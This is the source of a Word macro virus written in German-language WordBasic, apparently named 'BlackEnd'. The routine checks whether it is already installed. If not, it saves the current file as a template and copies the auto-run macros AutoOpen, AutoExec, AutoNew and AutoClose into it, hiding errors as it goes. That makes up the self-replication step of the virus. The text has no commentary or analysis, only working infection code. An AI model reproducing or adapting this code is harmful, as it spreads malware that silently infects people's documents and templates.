Sub MAIN
On Error Goto Finish

For i = 1 To ZhlenMakros(1, 0)
	If MakroName$(i, 1, 1) = "BlackEnd" Then
		VInstalled = 1
	End If
Next i

If VInstalled = 1 Then
	Goto Finish
Else
	On Error Resume Next
	DateiSpeichernUnter .Format = 1
	MakroKopieren "Global:AutoOpen", DateiName$() + ":AutoOpen", 1
	MakroKopieren "Global:BlackEnd", DateiName$() + ":BlackEnd", 1
	MakroKopieren "Global:AutoExec", DateiName$() + ":AutoExec", 1
	MakroKopieren "Global:AutoNew", DateiName$() + ":AutoNew", 1
	MakroKopieren "Global:AutoClose", DateiName$() + ":AutoClose", 1
	DateiAllesSpeichern 1, 0
End If

Finish:
End Sub
